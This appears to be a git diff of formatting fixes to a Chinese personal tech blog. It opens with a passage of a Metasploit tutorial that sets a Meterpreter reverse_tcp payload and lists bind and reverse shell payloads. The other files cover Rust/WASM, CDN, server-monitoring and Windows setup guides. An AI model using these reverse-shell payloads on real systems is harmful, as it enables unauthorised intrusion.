设置连接方式为反向连接 ```bash set payload windows/x64/meterpreter/reverse_tcp ``` + 4. 运行 ```bash run ``` - ### Meterpreter的命令用法 ```bash @@ -361,30 +368,31 @@ timestomp 操作文件 MACE 属性 ### 使用发放 -#### 基础使用: +#### 基础使用 * 进入框架 ```bash msfconsole ``` + * 查找漏洞 ```bash search 漏洞编号 ``` + * 使用模块 ```bash run ``` - -#### Meterpreter工作原理: +#### Meterpreter工作原理 > 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。 -#### 漏洞利用(exploit): +#### 漏洞利用(exploit) > 漏洞利用exploit,也就是我们常说的exp,他就是对漏洞进行攻击的代码。 @@ -394,19 +402,19 @@ exploit漏洞利用模块路径(这里面有针对不同平台的exploit): /usr/share/metasploit-framework/modules/exploits ``` -#### 攻击载荷(payload): +#### 攻击载荷(payload) > Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。 - +> > Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。 -##### payload模块路径: +##### payload模块路径 ```php /usr/share/metasploit-framework/modules/payloads ``` -##### Metasploit中的 Payload 模块主要有以下三种类型: +##### Metasploit中的 Payload 模块主要有以下三种类型 * Single: @@ -421,23 +429,26 @@ exploit漏洞利用模块路径(这里面有针对不同平台的exploit): > 是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。 > -##### 几种常见的payload: +##### 几种常见的payload * 正向连接 ```bash windows/meterpreter/bind_tcp ``` + * 反向连接 ```bash windows/meterpreter/reverse_tcp ``` + * 过监听80端口反向连接 ```bash windows/meterpreter/reverse_http ``` + * 通过监听443端口反向连接 ```bash diff --git a/src/content/code/simple_rust_wasm.md b/src/content/code/simple_rust_wasm.md index a92cd96..1ea60ab 100644 --- a/src/content/code/simple_rust_wasm.md +++ b/src/content/code/simple_rust_wasm.md @@ -6,7 +6,7 @@ tags: ["rust", "webassembly"] ## 文件结构 -``` +```text wasm-project/ │ ├── Cargo.toml # Rust包的配置文件 @@ -33,12 +33,14 @@ wasm-project/ 1. **安装Rust** 确保你已安装Rust环境,可以通过以下命令来确认是否安装成功: + ```bash rustc --version ``` 2. **安装wasm-pack** `wasm-pack`用于将Rust代码编译为WebAssembly格式。通过以下命令安装: + ```bash cargo install wasm-pack ``` @@ -50,12 +52,14 @@ wasm-project/ 1. **构建一个新的Rust包** 在项目目录下创建一个新的Rust库项目: + ```bash cargo new --lib wasm ``` -2. **配置** **​`Cargo.toml`​** +2. **配置** **`Cargo.toml`** 修改`Cargo.toml`来添加WebAssembly的依赖和输出配置: + ```toml [package] name = "wasm" @@ -69,8 +73,9 @@ wasm-project/ crate-type = ["cdylib", "rlib"] ``` -3. **编写Rust文件** **​`src/lib.rs`​** +3. **编写Rust文件** **`src/lib.rs`** 使用`wasm-bindgen`库将Rust函数暴露给JavaScript。编写如下代码: + ```rust extern crate wasm_bindgen; use wasm_bindgen::prelude::*; @@ -88,27 +93,32 @@ wasm-project/ 4. **将Rust代码编译为WebAssembly** 使用`wasm-pack`进行编译: + ```bash wasm-pack build ``` + 编译后的WebAssembly文件将生成在`pkg/`目录下。 ## 三、打包代码 1. **初始化npm项目** 创建一个`package.json`文件: + ```bash npm init -y ``` 2. **安装Webpack及相关工具** 安装Webpack及开发服务器,用于打包和本地运行JavaScript与WebAssembly: + ```bash npm install --save-dev webpack webpack-cli webpack-dev-server ``` -3. **编写JavaScript调用代码** **​`src/index.js`​** +3. **编写JavaScript调用代码** **`src/index.js`** 在`index.js`中,调用由Rust编译出的WebAssembly模块: + ```javascript const js = import("../pkg/wasm"); @@ -117,8 +127,9 @@ wasm-project/ }); ``` -4. **编写Webpack配置文件** **​`webpack.config.js`​** +4. **编写Webpack配置文件** **`webpack.config.js`** 该配置文件用于打包项目并支持WebAssembly异步加载: + ```javascript module.exports = { entry: './src/index.js', @@ -139,14 +150,16 @@ wasm-project/ 5. **打包JavaScript文件** 使用Webpack打包项目: + ```bash npx webpack ``` ## 四、运行代码 -1. **编写HTML文件** **​`src/index.html`​** +1. **编写HTML文件** **`src/index.html`** 在HTML文件中引入打包后的`main.js`: + ```html @@ -163,4 +176,4 @@ wasm-project/ ``` 2. **运行HTML文件** - 打开`src/index.html`,在浏览器中运行此文件,应该会看到弹窗显示"Hello, world"。 \ No newline at end of file + 打开`src/index.html`,在浏览器中运行此文件,应该会看到弹窗显示"Hello, world"。 diff --git a/src/content/web/CDN配置.md b/src/content/web/CDN配置.md index bf495f9..d5d80c6 100644 --- a/src/content/web/CDN配置.md +++ b/src/content/web/CDN配置.md @@ -4,13 +4,16 @@ date: 2023-12-25T12:07:21+08:00 tags: [] --- ## 域名绑定 + 1. 绑定到需要加速的服务器(源站) 2. 配置到cdn平台(加速域名) ## 配置 + 以[多吉云](https://www.dogecloud.com/)为例(毕竟免费 20G,还能设置封顶策略) 进入域名管理添加域名 + - 加速域名:(加速域名) - 回源域名填写:(源站) - 回源host选择:与回源域名一致 diff --git a/src/content/web/Cloudflare_自选IP.md b/src/content/web/Cloudflare_自选IP.md index f7e8283..40753e1 100644 --- a/src/content/web/Cloudflare_自选IP.md +++ b/src/content/web/Cloudflare_自选IP.md @@ -15,6 +15,6 @@ tags: [] 我要使用`proxy.example.com`作为Workers域名,且要访问全部内容 - ``` + ```text proxy.example.com/* - ``` \ No newline at end of file + ``` diff --git a/src/content/web/GitHub-Actions自动刷新多吉云_CDN缓存.md b/src/content/web/GitHub-Actions自动刷新多吉云_CDN缓存.md index 4e64f53..73777f5 100644 --- a/src/content/web/GitHub-Actions自动刷新多吉云_CDN缓存.md +++ b/src/content/web/GitHub-Actions自动刷新多吉云_CDN缓存.md @@ -5,6 +5,7 @@ tags: [] --- ## 1. 创建自动刷新脚本 + 在项目根目录创建一个文件名为 `RefreshCDN.py`。修改下列代码中的密钥和域名为你自己的信息。 ```python @@ -61,6 +62,7 @@ else: ``` ## 2. 创建 GitHub Actions 脚本 + 在项目根目录创建 `.github/workflows` 目录(如果还没有的话),并在该目录下新建 `RefreshCDN.yml`。 ```yaml @@ -89,4 +91,4 @@ jobs: run: python RefreshCDN.py ``` -这样设置后,每次推送到 `master` 分支时,GitHub Actions 会自动运行这个脚本来刷新 CDN。 \ No newline at end of file +这样设置后,每次推送到 `master` 分支时,GitHub Actions 会自动运行这个脚本来刷新 CDN。 diff --git a/src/content/web/hugo-theme-stack美化教程.md b/src/content/web/hugo-theme-stack美化教程.md index af601af..e24906a 100644 --- a/src/content/web/hugo-theme-stack美化教程.md +++ b/src/content/web/hugo-theme-stack美化教程.md @@ -754,4 +754,4 @@ main.main { pangu.spacingPage(); }); -``` \ No newline at end of file +``` diff --git a/src/content/web/typecho【Handsome】本站魔改备忘录.md b/src/content/web/typecho【Handsome】本站魔改备忘录.mdx similarity index 99% rename from src/content/web/typecho【Handsome】本站魔改备忘录.md rename to src/content/web/typecho【Handsome】本站魔改备忘录.mdx index 357b250..2571ea8 100644 --- a/src/content/web/typecho【Handsome】本站魔改备忘录.md +++ b/src/content/web/typecho【Handsome】本站魔改备忘录.mdx @@ -806,7 +806,7 @@ echo 'ok'; define('__TYPECHO_SECURE__',true); ``` - +{/* more */} ## Handsome文件 ============================ diff --git a/src/content/web/各大搜索引擎站长平台地址汇总.md b/src/content/web/各大搜索引擎站长平台地址汇总.md index ddb4702..421de57 100644 --- a/src/content/web/各大搜索引擎站长平台地址汇总.md +++ b/src/content/web/各大搜索引擎站长平台地址汇总.md @@ -5,26 +5,32 @@ tags: [] --- ## 百度站长平台 -百度搜索引擎是国内最主流的搜索引擎,当然百度站长平台也是站长们使用最多的平台,功能很齐全,网站各个方面的数据都显示的很到位,能够很好地辅助站长们进行SEO优化。 + +[百度搜索引擎][1]是国内最主流的搜索引擎,当然百度站长平台也是站长们使用最多的平台,功能很齐全,网站各个方面的数据都显示的很到位,能够很好地辅助站长们进行SEO优化。 ## 搜狗站长平台 -搜狗站长平台和百度相比就显得略逊一些,只提供一些基础的功能。虽然前一段时间有一份报告称搜狗PC用户已经超越百度,但目前搜狗站长平台还是很少更新,站长学院的公告在17年之后就没有更新了。 + +[搜狗站长平台][2]和百度相比就显得略逊一些,只提供一些基础的功能。虽然前一段时间有一份报告称搜狗PC用户已经超越百度,但目前搜狗站长平台还是很少更新,站长学院的公告在17年之后就没有更新了。 ## 360站长平台 -360站长平台在国内勉强排上第二,和百度相比360的功能还不够完善,算法也是偶尔更新一次,而且不知道你有没有发现360收录干货文章特别难,这也让很多站长放弃了360优化。 + +[360站长平台][3]在国内勉强排上第二,和百度相比360的功能还不够完善,算法也是偶尔更新一次,而且不知道你有没有发现360收录干货文章特别难,这也让很多站长放弃了360优化。 ## 神马站长平台 -神马搜索引擎针对的是移动用户,最近的夸克浏览器大家应该都听说过吧,夸克内置搜索引擎就是神马,属于阿里的产品,虽然推出了站长平台,但是大头感觉并没有什么用... + +[神马搜索引擎][4]针对的是移动用户,最近的夸克浏览器大家应该都听说过吧,夸克内置搜索引擎就是神马,属于阿里的产品,虽然推出了站长平台,但是大头感觉并没有什么用... ## 必应站长平台 -必应是微软旗下的搜索引擎,记得以前更新W10的时候浏览器自带的就是必应搜索引擎,国内用户很少,估计有的人听都没听过。 + +[必应][5]是微软旗下的搜索引擎,记得以前更新W10的时候浏览器自带的就是必应搜索引擎,国内用户很少,估计有的人听都没听过。 ## 头条站长平台 -头条搜索是最近搜索行业杀出来的一匹黑马,目前还处于测试阶段,有些功能还不够完善,不过头条可是自媒体大佬,所以站长们对头条站长平台抱有很大的希望。 + +[头条搜索][6]是最近搜索行业杀出来的一匹黑马,目前还处于测试阶段,有些功能还不够完善,不过头条可是自媒体大佬,所以站长们对头条站长平台抱有很大的希望。 ## 谷歌站长平台 -谷歌站长平台跟百度一样功能都很完善,算法也是经常更新,但不知道什么原因谷歌推出了国内市场,国人访问谷歌搜索引擎也会被墙 +[谷歌站长平台][7]跟百度一样功能都很完善,算法也是经常更新,但不知道什么原因谷歌推出了国内市场,国人访问谷歌搜索引擎也会被墙 [1]: https://ziyuan.baidu.com/ [2]: http://zhanzhang.sogou.com/ @@ -32,4 +38,4 @@ tags: [] [4]: https://zhanzhang.sm.cn/ [5]: https://www.bing.com/toolbox/webmaster/ [6]: https://zhanzhang.toutiao.com/ -[7]: https://search.google.com/search-console/about?hl=zh-CN \ No newline at end of file +[7]: https://search.google.com/search-console/about?hl=zh-CN diff --git a/src/content/web/哪吒面板-服务器状态监控面板-Linux与Windows部署.md b/src/content/web/哪吒面板-服务器状态监控面板-Linux与Windows部署.md index 21cb97c..befd79c 100644 --- a/src/content/web/哪吒面板-服务器状态监控面板-Linux与Windows部署.md +++ b/src/content/web/哪吒面板-服务器状态监控面板-Linux与Windows部署.md @@ -22,8 +22,8 @@ tags: ["服务器探针", "cloudflare"] 先打开:[GitHub OAuth Apps](https://github.com/settings/developers),然后点击 New OAuth App 按钮: - **Application name:** 名字随便 -- **Homepage URL:** 面板的域名,例如 https://lsy.plus -- **Authorization callback URL:** 面板的域名 + `/oauth2/callback`,例如 https://lsy.plus/oauth2/callback +- **Homepage URL:** 面板的域名,例如 `https://lsy.plus` +- **Authorization callback URL:** 面板的域名 + `/oauth2/callback`,例如 `https://lsy.plus/oauth2/callback` 然后在这个页面点击 Generate a new client secret 创建你的 client secrets。 @@ -31,23 +31,28 @@ tags: ["服务器探针", "cloudflare"] 需要放行 `8008`、`5555` 两个端口,这是默认的,如果你程序中改为其他的,防火墙放行相应的端口。 -#### 部署面板服务: +#### 部署面板服务 github镜像 + ```bash curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh ./nezha.sh ``` + 国内机器可以使用: + ```bash curl -L https://raw.sevencdn.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh CN=true ./nezha.sh ``` + 运行后选择安装面板端回复数字,接着输入前面记录下来的 GitHub 账号 ID、OAuth Apps 的 Client ID、OAuth Apps 的 Client secrets。 -到这里面板服务算是完成了大部分了。可以访问 http://域名:8008 查看,用你的 GitHub 账号验证登录。 +到这里面板服务算是完成了大部分了。可以访问 `http://域名:8008` 查看,用你的 GitHub 账号验证登录。 + +#### 宝塔配置反代 -#### 宝塔配置反代: ```nginx location / { proxy_pass http://127.0.0.1:8008; @@ -70,12 +75,14 @@ proxy_set_header Connection "Upgrade"; proxy_set_header Host $host; } ``` -配置 SSL 就不用说了,常规建站怎么配置,这个就怎么配置。如果没有问题,就可以通过 https://域名/ 来访问了。改好之后就可以对 8008 端口取消放行了。 -关于套 CDN,就和常规建站一样,比如将 tz.a0s.cc 解析到 CDN 服务商,回源地址填部署面板的服务器 IP,但要注意 CDN 需要支持 WebSocket 协议。 +配置 SSL 就不用说了,常规建站怎么配置,这个就怎么配置。如果没有问题,就可以通过 `https://域名/` 来访问了。改好之后就可以对 8008 端口取消放行了。 + +关于套 CDN,就和常规建站一样,比如将 `tz.a0s.cc` 解析到 CDN 服务商,回源地址填部署面板的服务器 IP,但要注意 CDN 需要支持 WebSocket 协议。 ### 四、关于客户端(被监控机器)需要的操作 -通过 lsy.plus 登录后台,如果没配置反代、SSL,那它将是 [http://lsy.plus:8008]。用你的 GitHub 账号验证登录后跳转到 [lsy.plus]。后台添加主机。 + +通过 `lsy.plus` 登录后台,如果没配置反代、SSL,那它将是 `http://lsy.plus:8008`。用你的 GitHub 账号验证登录后跳转到 `http://lsy.plus`。后台添加主机。 到需要被监控的机器执行脚本,点击小企鹅图标,会自动复制代码,到被控主机执行就行了。 @@ -92,29 +99,35 @@ proxy_set_header Host $host; ### 二、设置 NSSM 管理员启动 CMD,输入: + ```bash nssm install ``` + >如: nssm install nezha -> + 弹出 UI,设置如下: + ```bash Path: 选择哪吒探针客户端 Startup directory: 选择了客户端会自动填充 Arguments: 启动参数 ``` + 启动参数格式为: ```bash -i {AgentID} -s {Serverip}:{Port} -p {AgentKey} -d ``` + >例如: -> +> >-i 10 -s 8.8.8.8:55555 -p 8aeccc7babe9c3cb0 -d > >自己对应修改,填写完毕后,点击 Install Servce。 ### 三、启动服务 + 此时退回到 CMD 界面,`nssm start nezha`, 然后按 Win + R 打开运行窗口,输入 `services.msc`, @@ -124,31 +137,41 @@ Arguments: 启动参数 ### 四、nssm 命令参考 #### 安装服务命令 + ```bash nssm install nssm install nssm install [] ``` + #### 删除服务 + ```bash nssm remove nssm remove nssm remove confirm ``` + #### 启动、停止服务 + ```bash nssm start nssm stop nssm restart ``` + #### 查询服务状态 + ```bash nssm status ``` + #### 服务控制命令 + ```bash nssm pause nssm continue nssm rotate ``` -有多台被监控机器时,按照此步骤在控制面板添加服务器 \ No newline at end of file + +有多台被监控机器时,按照此步骤在控制面板添加服务器 diff --git a/src/content/web/宝塔面板下站点如何只限定CDN的IP节点回源请求.md b/src/content/web/宝塔面板下站点如何只限定CDN的IP节点回源请求.md index b6a4438..b4da107 100644 --- a/src/content/web/宝塔面板下站点如何只限定CDN的IP节点回源请求.md +++ b/src/content/web/宝塔面板下站点如何只限定CDN的IP节点回源请求.md @@ -32,3 +32,4 @@ tags: ["cloudflare"] 31|tcp|443|accept|103.22.200.0/22|103.22.200.0/22|2023-07-10 19:57:30||0| 30|tcp|443|accept|103.21.244.0/22|103.21.244.0/22|2023-07-10 19:57:10||0| 6|tcp|443|accept|173.245.48.0/20|173.245.48.0/20|2023-07-10 19:56:47||0| +``` diff --git a/src/content/web/将hugo部署在vercel.md b/src/content/web/将hugo部署在vercel.md index c2dc2be..d5aa394 100644 --- a/src/content/web/将hugo部署在vercel.md +++ b/src/content/web/将hugo部署在vercel.md @@ -56,10 +56,10 @@ theme: 主题名字 # 主题名字,和 themes 文件夹下的一致 1. 将 hugo 复制到站点文件夹 2. 打开 PowerShell 进入站点文件夹 3. 查看 Hugo 版本号 - -```powershell -./hugo version -``` + + ```powershell + ./hugo version + ``` 4. 设置 Hugo 版本号 @@ -203,4 +203,4 @@ Environment Variables: 选择设置 `SSL` 并在下拉列表中选择 `关`。 -点击 `保存并部署` 按钮。 \ No newline at end of file +点击 `保存并部署` 按钮。 diff --git a/src/content/web/搭建Chevereto中文版.md b/src/content/web/搭建Chevereto中文版.md index 6153117..a2e45fb 100644 --- a/src/content/web/搭建Chevereto中文版.md +++ b/src/content/web/搭建Chevereto中文版.md @@ -72,4 +72,4 @@ upload_max_filesize 上传邮件模板文件至 Chevereto `/app/themes/Peafowl/mails` 文件目录下即可,或者直接替换掉 `mails` 目录亦可。 -文件: [https://lsy22.lanzouf.com/i9crn0u8anhe](https://lsy22.lanzouf.com/i9crn0u8anhe) \ No newline at end of file +文件: [https://lsy22.lanzouf.com/i9crn0u8anhe](https://lsy22.lanzouf.com/i9crn0u8anhe) diff --git a/src/content/web/搭建本地图床API可搭配Chevereto使用.md b/src/content/web/搭建本地图床API可搭配Chevereto使用.md index e8b5e73..61ac56e 100644 --- a/src/content/web/搭建本地图床API可搭配Chevereto使用.md +++ b/src/content/web/搭建本地图床API可搭配Chevereto使用.md @@ -23,4 +23,5 @@ tags: [] Header("Location: $dir/$image"); ?> ``` -现在,你可以通过访问`http://your_website.com/api.php` 来使用这个随机图片API了。每次访问这个URL时,它都会随机选择一个图片文件并重定向到该图片的URL。 \ No newline at end of file + +现在,你可以通过访问`http://your_website.com/api.php` 来使用这个随机图片API了。每次访问这个URL时,它都会随机选择一个图片文件并重定向到该图片的URL。 diff --git a/src/content/web/服务器探针(ServerStatus探针)安装教程.md b/src/content/web/服务器探针(ServerStatus探针)安装教程.md index 457c347..6350780 100644 --- a/src/content/web/服务器探针(ServerStatus探针)安装教程.md +++ b/src/content/web/服务器探针(ServerStatus探针)安装教程.md @@ -5,45 +5,56 @@ tags: [ "服务器探针" ] --- ## 食用方式 + PS:(以下使用方式二,方式一直接运行傻瓜安装即可) ### 脚本进行安装(会要求安装Caddy,与Nginx不能同时安装,有能力的自行DIY) + ```bash wget https://raw.githubusercontent.com/CokeMine/ServerStatus-Hotaru/master/status.sh bash status.sh ``` ### 手动编译安装,可搭配宝塔使用Nginx提供服务 + #### 下载ServerStatus-USee + ```bash git clone https://gitee.com/useenet/serverTZ.git mv serverTZ /usr/serverTZ ``` ## 安装服务端 + ### 使用宝塔创建一个空网页(PS:域名框使用域名或IP均可) + ### 复制监控展示页到宝塔新建的网站目录中 + ```bash cp -r /usr/serverTZ/web/* /www/wwwroot/自己的站点 ``` ### 进入服务端配置目录 + ```bash cd /usr/serverTZ/server ``` ### 安装环境并进行编译 + ```bash apt-get install gcc gcc-c++ kernel-devel make ``` ### 配置服务端信息 + ```bash vim config.json ``` 内容: + ```json { "servers": [ @@ -71,11 +82,12 @@ vim config.json } ``` -### 在宝塔中打开serverTZ默认端口: +### 在宝塔中打开serverTZ默认端口 > 35601 ### 编辑完成后,在server目下进行测试,webdir为web站点路径 + ```bash ./sergate --config=config.json --web-dir=/www/wwwroot/站点 ``` @@ -87,49 +99,57 @@ vim config.json 关闭之前进程,进入`/usr/serverTZ/systemd/` > ctrl + c + ```bash cd /usr/serverTZ/systemd/ ``` 注册过程,系统服务文件我已经编辑好,直接使用即可 + ```bash chmod +x serverTZs.service cp serverTZs.service /lib/systemd/system systemctl daemon-reload -systemctl start serverTZs.service +systemctl start serverTZs.service systemctl enable serverTZs.service ``` > #赋权 -> #拷贝进系统服务目录 +> #拷贝进系统服务目录 > #重新加载系统服务 > #启动服务端并设置开机自启 ### 在配置文件中增加服务器主机后重启 + ```bash systemctl restart serverTZs.service ``` ## 安装客户端 + 此处在服务端中部署客户端监控本机为例 ### 下载、更名、移动目录到指定文件夹 + ```bash git clone https://gitee.com/useenet/serverTZ.git mv serverTZ /usr/serverTZ ``` ### 进入客户端配置目录 + ```bash cd /usr/serverTZ/clients ``` ### 检查已安装的python版本,版本需要2.7及以上 + ```python python -V ``` 若无执行客户端运行环境 + ```bash apt-get install epel-release python-pip apt-get update @@ -138,6 +158,7 @@ pip install psutil ``` ### 修改客户端配置文件 + ```bash vim status-client.py ``` @@ -151,20 +172,23 @@ INTERVAL = 1 #更新间隔 ``` ### 运行测试 + ```python python status-client.py ``` -### 将此进程注册为系统服务 +### 将客户端进程注册为系统服务 ### 关闭之前进程,进入`/usr/serverTZ/systemd/` > ctrl + c + ```bash cd /usr/serverTZ/systemd/ ``` 注册过程,系统服务文件我已经编辑好,直接使用即可 + ```bash chmod +x serverTZc.service cp serverTZc.service /lib/systemd/system @@ -174,11 +198,12 @@ systemctl enable serverTZc.service ``` > #赋权 -> #拷贝进系统服务目录 +> #拷贝进系统服务目录 > #重新加载系统服务 > #启动服务端并设置开机自启 在配置文件中增加服务器主机后重启 + ```bash systemctl restart serverTZc.service -``` \ No newline at end of file +``` diff --git a/src/content/web/记录一下服务器和网站的安全防护.md b/src/content/web/记录一下服务器和网站的安全防护.mdx similarity index 100% rename from src/content/web/记录一下服务器和网站的安全防护.md rename to src/content/web/记录一下服务器和网站的安全防护.mdx diff --git a/src/content/windows/Adobe_Photoshop (Beta)使用教程.md b/src/content/windows/Adobe_Photoshop (Beta)使用教程.md index 75b6d22..cf28e29 100644 --- a/src/content/windows/Adobe_Photoshop (Beta)使用教程.md +++ b/src/content/windows/Adobe_Photoshop (Beta)使用教程.md @@ -25,6 +25,7 @@ tags: [] 解决方法一:使用独立安装包安装,例如使用 PS CC 2017 的安装包直接安装。 解决方法二: + 1. 在弹出页面之后,别关闭,打开任务管理器,你会看到这个进程(同时有一个 Adobe IPC 的分进程)。 2. 找到 Cloud,右键打开文件所在位置。 3. 关闭这个对话框,然后删除文件夹里 `Adobe Desktop Service` 名字的 `EXE` 文件。 diff --git a/src/content/windows/Windows11部分程序中文乱码解决方案[通用解决Windows10].md b/src/content/windows/Windows11部分程序中文乱码解决方案[通用解决Windows10].md index 18ab480..8835de3 100644 --- a/src/content/windows/Windows11部分程序中文乱码解决方案[通用解决Windows10].md +++ b/src/content/windows/Windows11部分程序中文乱码解决方案[通用解决Windows10].md @@ -11,4 +11,4 @@ tags: [] 3. 选择区域 4. 打开管理 5. 选择非Unicode程序的语言 -6. 更改系统区域设置为中国(需要提供管理员权限) \ No newline at end of file +6. 更改系统区域设置为中国(需要提供管理员权限) diff --git a/src/content/windows/Windows用批处理处理图标上的快捷方式和安全盾.md b/src/content/windows/Windows用批处理处理图标上的快捷方式和安全盾.md index 1492ccb..9a1a53e 100644 --- a/src/content/windows/Windows用批处理处理图标上的快捷方式和安全盾.md +++ b/src/content/windows/Windows用批处理处理图标上的快捷方式和安全盾.md @@ -8,14 +8,14 @@ tags: [] 1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。 -```batch -@echo off -reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f -taskkill /f /im explorer.exe -attrib -s -r -h %userprofile%\AppData\Local\IconCache.db -del %userprofile%\AppData\Local\IconCache.db -start explorer.exe -``` + ```batch + @echo off + reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f + taskkill /f /im explorer.exe + attrib -s -r -h %userprofile%\AppData\Local\IconCache.db + del %userprofile%\AppData\Local\IconCache.db + start explorer.exe + ``` 2. 将文本编辑器中的代码另存为.bat文件,例如 remove_shortcut.bat,保存在桌面上。 @@ -29,15 +29,15 @@ start explorer.exe 1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。 -```batch -@echo off -reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f -reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 77 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f -taskkill /f /im explorer.exe -attrib -s -r -h %userprofile%\AppData\Local\IconCache.db -del %userprofile%\AppData\Local\IconCache.db -start explorer.exe -``` + ```batch + @echo off + reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f + reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 77 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f + taskkill /f /im explorer.exe + attrib -s -r -h %userprofile%\AppData\Local\IconCache.db + del %userprofile%\AppData\Local\IconCache.db + start explorer.exe + ``` 2. 将文本编辑器中的代码另存为.bat文件,例如 remove_security.bat,保存在桌面上。 diff --git a/src/content/windows/Windows虚拟化和子系统安装指南.md b/src/content/windows/Windows虚拟化和子系统安装指南.md index 924489a..44a3376 100644 --- a/src/content/windows/Windows虚拟化和子系统安装指南.md +++ b/src/content/windows/Windows虚拟化和子系统安装指南.md @@ -28,7 +28,7 @@ tags: [] 3. 选择适合您系统架构的最新版本的 WSA 安装包(通常为 `.Msixbundle` 后缀),并下载。 > 注意:忽略带有 BlockMap 后缀的文件。 -> + 4. 也可访问 [MustardChef 的 GitHub 页面](https://github.com/MustardChef/WSABuilds) 下载经过修改的 WSA 安装包。 ### 二、安装 WSA 环境 @@ -89,6 +89,7 @@ wsl --set-default-version 2 ```bash wsl --list ``` + 2. 切换root用户 ```bash @@ -109,6 +110,7 @@ wsl --set-default-version 2 [automount] enabled = false ``` + * **解决无法定位 package screen 的问题**: 在 Linux 分发版中运行 `apt-get update` 来更新软件包列表。 * **WSL 卸载**: @@ -117,9 +119,11 @@ wsl --set-default-version 2 ```bash wsl --unregister 指定的Linux分发版 ``` + * **解决 WSLRegisterDistribution 错误**: 在 PowerShell 中运行 ```bash Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux - ``` \ No newline at end of file + ``` + \ No newline at end of file diff --git a/src/content/windows/windows安装adb教程.md b/src/content/windows/windows安装adb教程.md index ef77380..cfb5474 100644 --- a/src/content/windows/windows安装adb教程.md +++ b/src/content/windows/windows安装adb教程.md @@ -18,6 +18,7 @@ tags: [] (1) SDK Platform Tools下载后,在"platform-tools"路径下可以看到三个adb相关的文件。现在需要将这个路径添加到系统环境变量中。 (2) 添加环境变量: + - windows10: 打开我的电脑——高级系统设置——系统属性——高级——环境变量——编辑Path,将步骤3个文件所在路径添加到Path变量值中。最后点击"确定"。 - windows7: 右击我的电脑——属性——高级系统设置——高级——环境变量——编辑Path @@ -28,7 +29,6 @@ tags: [] 去谷歌中国开发者网站上下载oem usb驱动程序,并在设备管理器选择正确的驱动程序 驱动程序:[https://developer.android.google.cn/studio/run/oem-usb?hl=zh-cn][3] - [1]: https://developer.android.google.cn/studio/releases/platform-tools?hl=en [2]: https://lsy22.lanzoui.com/iFIUqsjzyvc [3]: https://developer.android.google.cn/studio/run/oem-usb?hl=zh-cn diff --git a/src/content/windows/windows终端美化PowerShell+OhMyPosh.md b/src/content/windows/windows终端美化PowerShell+OhMyPosh.md index bd93cf7..4dcf692 100644 --- a/src/content/windows/windows终端美化PowerShell+OhMyPosh.md +++ b/src/content/windows/windows终端美化PowerShell+OhMyPosh.md @@ -36,4 +36,4 @@ oh-my-posh init pwsh --config "$env:POSH_THEMES_PATH/negligible.omp.json" | Invo profile if (!(Test-Path -Path $PROFILE )) { New-Item -Type File -Path $PROFILE -Force } notepad $PROFILE -``` \ No newline at end of file +``` diff --git a/src/content/windows/在VMware虚拟机上安装MacOS系统.md b/src/content/windows/在VMware虚拟机上安装MacOS系统.md index ef20f82..8353f7e 100644 --- a/src/content/windows/在VMware虚拟机上安装MacOS系统.md +++ b/src/content/windows/在VMware虚拟机上安装MacOS系统.md @@ -57,7 +57,7 @@ python3 macrecovery.py -b Mac-FFE5EF870D7BA81A -m 00000000000000000 download 镜像需要用到 qemu-img 工具 下载链接: [QEMU下载链接](https://qemu.weilnetz.de/w64/) -#### Ⅰ. 下载 qemu 之后,双击 qemu-w64-setup 程序进行安装。 +#### Ⅰ. 下载 qemu 之后,双击 qemu-w64-setup 程序进行安装 安装完毕后,和之前打开命令行的方法一样,打开cmd命令行进入`com.apple.recovery.boot`文件夹 @@ -89,7 +89,7 @@ CPU配置,处理器数量:1,内核数量:自定义 ## 六.开始安装 -### 1.打开VMWare虚拟机,开启虚拟机电源,虚拟机会自动进入引导界面。 +### 1.打开VMWare虚拟机,开启虚拟机电源,虚拟机会自动进入引导界面 ### 2.选择语言 @@ -104,7 +104,7 @@ CPU配置,处理器数量:1,内核数量:自定义 安装完成进入系统之后,需要安装 vmware-tools 工具,这样才可以调整窗口分辨率以及开启 HiDPI。右键点击 VMware 虚拟机管理界面的虚拟机选项即可看到 安装 vmware-tools 工具选项,点击后虚拟机内会弹出安装界面,按照提示一步步安装,然后重启即可。 -## vmware安装苹果虚拟机卡在苹果图标位置不动或者最新AMD客户机操作系统已禁用 